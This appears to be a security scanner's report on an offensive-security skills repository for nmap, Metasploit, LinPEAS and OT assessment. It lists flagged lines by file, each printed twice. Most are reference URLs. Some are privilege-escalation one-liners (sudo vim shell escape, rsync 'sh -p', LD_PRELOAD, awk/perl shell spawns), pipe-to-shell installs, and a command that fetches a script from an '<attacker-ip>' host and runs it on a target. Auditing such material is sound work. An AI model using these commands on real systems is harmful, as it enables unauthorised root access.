    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/offsec/network-netcat/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/offsec/ot-security-assessment/SKILL.md

  • Network accessline 9
    aligned with IEC 62443 standards, (6) Validating network segmentation and access controls in OT environments. version: 0.1.0 maintainer: https://github.com/i8void/
  • Network accessline 9
    aligned with IEC 62443 standards, (6) Validating network segmentation and access controls in OT environments. version: 0.1.0 maintainer: https://github.com/i8void/
  • Network accessline 10
    version: 0.1.0 maintainer: https://github.com/i8void/ category: offsec
  • Network accessline 10
    version: 0.1.0 maintainer: https://github.com/i8void/ category: offsec
  • Network accessline 11
    maintainer: https://github.com/i8void/
  • Network accessline 11
    maintainer: https://github.com/i8void/
  • Network accessline 17
    tools: [modbus-cli, plcscan, python-snap7, pymodbus] references:   - https://nmap.org/book/
  • Network accessline 17
    tools: [modbus-cli, plcscan, python-snap7, pymodbus] references:   - https://nmap.org/book/
  • Network accessline 18
    references:   - https://nmap.org/book/   - https://docs.rapid7.com/metasploit/msf-overview/
  • Network accessline 18
    references:   - https://nmap.org/book/   - https://docs.rapid7.com/metasploit/msf-overview/
  • Network accessline 19
    - https://nmap.org/book/
  • Network accessline 19
    - https://nmap.org/book/
  • Network accessline 20
    - https://docs.rapid7.com/metasploit/msf-overview/
  • Network accessline 20
    - https://docs.rapid7.com/metasploit/msf-overview/
  • Network accessline 21
    - https://www.cisa.gov/news-events/cybersecurity-advisories
  • Network accessline 21
    - https://www.cisa.gov/news-events/cybersecurity-advisories
  • Network accessline 22
    - https://attack.mitre.org/techniques/T1046/
  • Network accessline 22
    - https://attack.mitre.org/techniques/T1046/
  • Network accessline 23
    - https://www.isa.org/standards-and-publications/isa-standards/isa-iec-62443-series-of-standards
  • Network accessline 23
    - https://www.isa.org/standards-and-publications/isa-standards/isa-iec-62443-series-of-standards
  • Dangerous shell operationline 134
    sudo nmap -sU -p 47808,161,623 -iL live_hosts.txt -oA ot_udp_scan
  • Dangerous shell operationline 134
    sudo nmap -sU -p 47808,161,623 -iL live_hosts.txt -oA ot_udp_scan
  • Network accessline 191
    # Download dnp3-info.nse from the official Nmap community scripts repo curl -o /usr/local/share/nmap/scripts/dnp3-info.nse \
  • Network accessline 191
    # Download dnp3-info.nse from the official Nmap community scripts repo curl -o /usr/local/share/nmap/scripts/dnp3-info.nse \
  • Network accessline 192
    curl -o /usr/local/share/nmap/scripts/dnp3-info.nse \
  • Network accessline 192
    curl -o /usr/local/share/nmap/scripts/dnp3-info.nse \
  • Network accessline 193
    https://raw.githubusercontent.com/nmap/nmap/master/scripts/dnp3-info.nse
  • Network accessline 193
    https://raw.githubusercontent.com/nmap/nmap/master/scripts/dnp3-info.nse
  • Dangerous shell operationline 212
    sudo nmap -sU -p 47808 --script bacnet-info <target-ip> -oA bacnet_info
  • Dangerous shell operationline 212
    sudo nmap -sU -p 47808 --script bacnet-info <target-ip> -oA bacnet_info
  • Dangerous shell operationline 231
    sudo nmap -sU -p 47808 --script bacnet-info <target-ip>
  • Dangerous shell operationline 231
    sudo nmap -sU -p 47808 --script bacnet-info <target-ip>
  • Network accessline 239
    # Query NVD for ICS/SCADA vulnerabilities curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=industrial+control+system" \
  • Network accessline 239
    # Query NVD for ICS/SCADA vulnerabilities curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=industrial+control+system" \
  • Network accessline 240
    curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=industrial+control+system" \
  • Network accessline 240
    curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=industrial+control+system" \
  • Network accessline 243
    # Fetch latest ICS-CERT advisories curl -s "https://www.cisa.gov/news-events/cybersecurity-advisories" \
  • Network accessline 243
    # Fetch latest ICS-CERT advisories curl -s "https://www.cisa.gov/news-events/cybersecurity-advisories" \
  • Network accessline 244
    curl -s "https://www.cisa.gov/news-events/cybersecurity-advisories" \
  • Network accessline 244
    curl -s "https://www.cisa.gov/news-events/cybersecurity-advisories" \
  • Network accessline 247
    # Search CVE database curl -s "https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=SCADA" \
  • Network accessline 247
    # Search CVE database curl -s "https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=SCADA" \
  • Network accessline 248
    curl -s "https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=SCADA" \
  • Network accessline 248
    curl -s "https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=SCADA" \
  • Dangerous shell operationline 348
    - **Access Control**: Commands requiring root/sudo privileges:
  • Dangerous shell operationline 348
    - **Access Control**: Commands requiring root/sudo privileges:
  • Dangerous shell operationline 362
    - Configure Linux capabilities instead of full sudo when available:
  • Dangerous shell operationline 362
    - Configure Linux capabilities instead of full sudo when available:
  • Dangerous shell operationline 364
    sudo setcap cap_net_raw,cap_net_admin+eip $(which nmap)
  • Dangerous shell operationline 364
    sudo setcap cap_net_raw,cap_net_admin+eip $(which nmap)
  • Dangerous shell operationline 448
    # Instead of: sudo nmap -sS <target-ip>
  • Dangerous shell operationline 448
    # Instead of: sudo nmap -sS <target-ip>
  • Network accessline 456
    curl -o /usr/local/share/nmap/scripts/dnp3-info.nse \
  • Network accessline 456
    curl -o /usr/local/share/nmap/scripts/dnp3-info.nse \
  • Network accessline 457
    https://raw.githubusercontent.com/nmap/nmap/master/scripts/dnp3-info.nse
  • Network accessline 457
    https://raw.githubusercontent.com/nmap/nmap/master/scripts/dnp3-info.nse
  • Network accessline 489
    - [Nmap Documentation](https://nmap.org/book/) - Comprehensive Nmap scanning guide
  • Network accessline 489
    - [Nmap Documentation](https://nmap.org/book/) - Comprehensive Nmap scanning guide
  • Network accessline 490
    - [Metasploit Framework](https://docs.rapid7.com/metasploit/msf-overview/) - Metasploit module documentation
  • Network accessline 490
    - [Metasploit Framework](https://docs.rapid7.com/metasploit/msf-overview/) - Metasploit module documentation
  • Network accessline 491
    - [CISA ICS-CERT Advisories](https://www.cisa.gov/news-events/cybersecurity-advisories) - Industrial control system security advisories
  • Network accessline 491
    - [CISA ICS-CERT Advisories](https://www.cisa.gov/news-events/cybersecurity-advisories) - Industrial control system security advisories
  • Network accessline 492
    - [MITRE ATT&CK for ICS](https://attack.mitre.org/techniques/T1046/) - Network service scanning techniques
  • Network accessline 492
    - [MITRE ATT&CK for ICS](https://attack.mitre.org/techniques/T1046/) - Network service scanning techniques
  • Network accessline 493
    - [IEC 62443 Standards](https://www.isa.org/standards-and-publications/isa-standards/isa-iec-62443-series-of-standards) - Industrial automation and control systems security standards
  • Network accessline 493
    - [IEC 62443 Standards](https://www.isa.org/standards-and-publications/isa-standards/isa-iec-62443-series-of-standards) - Industrial automation and control systems security standards

skills/offsec/pentest-metasploit/SKILL.md

  • Network accessline 17
    tools: [postgresql, nmap] references:   - https://docs.metasploit.com/
  • Network accessline 17
    tools: [postgresql, nmap] references:   - https://docs.metasploit.com/
  • Network accessline 18
    references:   - https://docs.metasploit.com/   - https://www.offsec.com/metasploit-unleashed/
  • Network accessline 18
    references:   - https://docs.metasploit.com/   - https://www.offsec.com/metasploit-unleashed/
  • Network accessline 19
    - https://docs.metasploit.com/
  • Network accessline 19
    - https://docs.metasploit.com/
  • Network accessline 20
    - https://www.offsec.com/metasploit-unleashed/
  • Network accessline 20
    - https://www.offsec.com/metasploit-unleashed/
  • Network accessline 21
    - https://attack.mitre.org/
  • Network accessline 21
    - https://attack.mitre.org/
  • Dangerous shell operationline 38
    sudo systemctl start postgresql
  • Dangerous shell operationline 38
    sudo systemctl start postgresql
  • Network accessline 451
    - [Metasploit Documentation](https://docs.metasploit.com/)
  • Network accessline 451
    - [Metasploit Documentation](https://docs.metasploit.com/)
  • Network accessline 452
    - [Metasploit Unleashed](https://www.offsec.com/metasploit-unleashed/)
  • Network accessline 452
    - [Metasploit Unleashed](https://www.offsec.com/metasploit-unleashed/)
  • Network accessline 453
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 453
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 454
    - [Penetration Testing Execution Standard (PTES)](http://www.pentest-standard.org/)
  • Network accessline 454
    - [Penetration Testing Execution Standard (PTES)](http://www.pentest-standard.org/)
  • Network accessline 455
    - [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
  • Network accessline 455
    - [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)

skills/offsec/pentest-metasploit/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/offsec/pentest-metasploit/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/offsec/pentest-metasploit/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/offsec/privesc-linpeas/SKILL.md

  • Dangerous shell operationline 8
    Linux system, (2) Identifying SUID/SGID binaries, sudo misconfigurations, and
  • Dangerous shell operationline 8
    Linux system, (2) Identifying SUID/SGID binaries, sudo misconfigurations, and
  • Network accessline 20
    optional: [wget] references:   - https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
  • Network accessline 20
    optional: [wget] references:   - https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
  • Network accessline 21
    references:   - https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS   - https://book.hacktricks.xyz/linux-hardening/privilege-escalation
  • Network accessline 21
    references:   - https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS   - https://book.hacktricks.xyz/linux-hardening/privilege-escalation
  • Network accessline 22
    - https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
  • Network accessline 22
    - https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
  • Network accessline 23
    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation
  • Network accessline 23
    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation
  • Network accessline 24
    - https://attack.mitre.org/tactics/TA0004/
  • Network accessline 24
    - https://attack.mitre.org/tactics/TA0004/
  • Network accessline 25
    - https://attack.mitre.org/tactics/TA0007/
  • Network accessline 25
    - https://attack.mitre.org/tactics/TA0007/
  • Network accessline 39
    # Download and run LinPEAS directly (no-install, in-memory) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 39
    # Download and run LinPEAS directly (no-install, in-memory) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Dangerous shell operationline 40
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Dangerous shell operationline 40
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 40
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 40
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 42
    # Save output for analysis curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
  • Network accessline 42
    # Save output for analysis curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
  • Network accessline 43
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
  • Network accessline 43
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
  • Dangerous shell operationline 87
    # Sudo permissions
  • Dangerous shell operationline 87
    # Sudo permissions
  • Dangerous shell operationline 88
    sudo -l
  • Dangerous shell operationline 88
    sudo -l
  • Dangerous shell operationline 112
    **Sudo Misconfigurations**
  • Dangerous shell operationline 112
    **Sudo Misconfigurations**
  • Dangerous shell operationline 114
    sudo -l
  • Dangerous shell operationline 114
    sudo -l
  • Network accessline 114
    sudo -l # Look for: NOPASSWD entries, unrestricted shells, wildcard abuse # GTFOBins: https://gtfobins.github.io/
  • Network accessline 114
    sudo -l # Look for: NOPASSWD entries, unrestricted shells, wildcard abuse # GTFOBins: https://gtfobins.github.io/
  • Network accessline 116
    # GTFOBins: https://gtfobins.github.io/
  • Network accessline 116
    # GTFOBins: https://gtfobins.github.io/
  • Network accessline 202
    # Run from memory (no disk write) curl -sL <url> | bash
  • Network accessline 202
    # Run from memory (no disk write) curl -sL <url> | bash
  • Dangerous shell operationline 203
    curl -sL <url> | bash
  • Dangerous shell operationline 203
    curl -sL <url> | bash
  • Network accessline 203
    curl -sL <url> | bash
  • Network accessline 203
    curl -sL <url> | bash
  • Network accessline 226
    # On target wget http://<attacker-ip>:8080/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh
  • Network accessline 226
    # On target wget http://<attacker-ip>:8080/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh
  • Network accessline 227
    wget http://<attacker-ip>:8080/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh
  • Network accessline 227
    wget http://<attacker-ip>:8080/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh
  • Network accessline 232
    - [LinPEAS GitHub](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)
  • Network accessline 232
    - [LinPEAS GitHub](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)
  • Network accessline 233
    - [HackTricks Linux Privesc](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)
  • Network accessline 233
    - [HackTricks Linux Privesc](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)
  • Network accessline 234
    - [GTFOBins](https://gtfobins.github.io/)
  • Network accessline 234
    - [GTFOBins](https://gtfobins.github.io/)
  • Network accessline 235
    - [MITRE ATT&CK TA0004 Privilege Escalation](https://attack.mitre.org/tactics/TA0004/)
  • Network accessline 235
    - [MITRE ATT&CK TA0004 Privilege Escalation](https://attack.mitre.org/tactics/TA0004/)
  • Network accessline 236
    - [MITRE ATT&CK TA0007 Discovery](https://attack.mitre.org/tactics/TA0007/)
  • Network accessline 236
    - [MITRE ATT&CK TA0007 Discovery](https://attack.mitre.org/tactics/TA0007/)
  • Network accessline 237
    - [PayloadsAllTheThings Linux Privesc](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md)
  • Network accessline 237
    - [PayloadsAllTheThings Linux Privesc](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md)

skills/offsec/privesc-linpeas/references/mitre_mapping.md

  • Dangerous shell operationline 38
    ### Sudo / SUID / Capabilities (Privilege Escalation)
  • Dangerous shell operationline 38
    ### Sudo / SUID / Capabilities (Privilege Escalation)
  • Dangerous shell operationline 42
    | sudo -l | Abuse Elevation Control Mechanism | Sudo and Sudo Caching | T1548.003 |
  • Dangerous shell operationline 42
    | sudo -l | Abuse Elevation Control Mechanism | Sudo and Sudo Caching | T1548.003 |
  • Dangerous shell operationline 45
    | LD_PRELOAD sudo | Hijack Execution Flow | LD_PRELOAD | T1574.006 |
  • Dangerous shell operationline 45
    | LD_PRELOAD sudo | Hijack Execution Flow | LD_PRELOAD | T1574.006 |

skills/offsec/privesc-linpeas/references/privesc_vectors.md

  • Dangerous shell operationline 7
    - [1. Sudo Misconfigurations](#1-sudo-misconfigurations)
  • Dangerous shell operationline 7
    - [1. Sudo Misconfigurations](#1-sudo-misconfigurations)
  • Dangerous shell operationline 20
    ## 1. Sudo Misconfigurations
  • Dangerous shell operationline 20
    ## 1. Sudo Misconfigurations
  • Dangerous shell operationline 25
    sudo -l
  • Dangerous shell operationline 25
    sudo -l
  • Dangerous shell operationline 28
    sudo vim -c ':!/bin/bash'
  • Dangerous shell operationline 28
    sudo vim -c ':!/bin/bash'
  • Dangerous shell operationline 31
    sudo /bin/bash
  • Dangerous shell operationline 31
    sudo /bin/bash
  • Dangerous shell operationline 34
    ### Sudo with Wildcard (`*`)
  • Dangerous shell operationline 34
    ### Sudo with Wildcard (`*`)
  • Dangerous shell operationline 37
    sudo rsync -e 'sh -p' . /dev/null
  • Dangerous shell operationline 37
    sudo rsync -e 'sh -p' . /dev/null
  • Dangerous shell operationline 50
    sudo LD_PRELOAD=/tmp/shell.so <any-allowed-command>
  • Dangerous shell operationline 50
    sudo LD_PRELOAD=/tmp/shell.so <any-allowed-command>
  • Network accessline 77
    | `awk`     | `awk 'BEGIN {system("/bin/bash -p")}'` | | `perl`    | `perl -e 'exec "/bin/bash";'` | | `wget`    | Overwrite sensitive file with wget -O |
  • Network accessline 77
    | `awk`     | `awk 'BEGIN {system("/bin/bash -p")}'` | | `perl`    | `perl -e 'exec "/bin/bash";'` | | `wget`    | Overwrite sensitive file with wget -O |
  • Network accessline 79
    | `wget`    | Overwrite sensitive file with wget -O |
  • Network accessline 79
    | `wget`    | Overwrite sensitive file with wget -O |
  • Access to secretsline 226
    [Credential-related source omitted]
  • Access to secretsline 226
    [Credential-related source omitted]

skills/offsec/privesc-linpeas/scripts/linpeas_runner.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 34
    LINPEAS_URL = (     "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"
  • Network accessline 34
    LINPEAS_URL = (     "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"
  • Network accessline 35
    "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"
  • Network accessline 35
    "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"
  • Network accessline 129
    print(f"[*] Fetching LinPEAS from {url}", file=sys.stderr)     try:         urllib.request.urlretrieve(url, dest)
  • Network accessline 129
    print(f"[*] Fetching LinPEAS from {url}", file=sys.stderr)     try:         urllib.request.urlretrieve(url, dest)
  • Network accessline 130
    try:         urllib.request.urlretrieve(url, dest)     except Exception as exc:
  • Network accessline 130
    try:         urllib.request.urlretrieve(url, dest)     except Exception as exc:
  • Network accessline 131
    urllib.request.urlretrieve(url, dest)
  • Network accessline 131
    urllib.request.urlretrieve(url, dest)
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]

skills/offsec/recon-nmap/SKILL.md

  • Network accessline 17
    tools: [python3, masscan] references:   - https://nmap.org/book/
  • Network accessline 17
    tools: [python3, masscan] references:   - https://nmap.org/book/
  • Network accessline 18
    references:   - https://nmap.org/book/   - https://nmap.org/nsedoc/
  • Network accessline 18
    references:   - https://nmap.org/book/   - https://nmap.org/nsedoc/
  • Network accessline 19
    - https://nmap.org/book/
  • Network accessline 19
    - https://nmap.org/book/
  • Network accessline 20
    - https://nmap.org/nsedoc/
  • Network accessline 20
    - https://nmap.org/nsedoc/
  • Network accessline 21
    - https://attack.mitre.org/techniques/T1046/
  • Network accessline 21
    - https://attack.mitre.org/techniques/T1046/
  • Dangerous shell operationline 131
    sudo nmap -sS <target-ip>
  • Dangerous shell operationline 131
    sudo nmap -sS <target-ip>
  • Dangerous shell operationline 141
    sudo nmap -sU -p 53,161,500 <target-ip>
  • Dangerous shell operationline 141
    sudo nmap -sU -p 53,161,500 <target-ip>
  • Dangerous shell operationline 151
    sudo nmap -A <target-ip>
  • Dangerous shell operationline 151
    sudo nmap -A <target-ip>
  • Dangerous shell operationline 234
    sudo nmap -O <target-ip>
  • Dangerous shell operationline 234
    sudo nmap -O <target-ip>
  • Dangerous shell operationline 237
    sudo nmap -A <target-ip>
  • Dangerous shell operationline 237
    sudo nmap -A <target-ip>
  • Dangerous shell operationline 240
    sudo nmap -O --osscan-limit <target-ip>
  • Dangerous shell operationline 240
    sudo nmap -O --osscan-limit <target-ip>
  • Dangerous shell operationline 243
    sudo nmap -O --osscan-guess <target-ip>
  • Dangerous shell operationline 243
    sudo nmap -O --osscan-guess <target-ip>
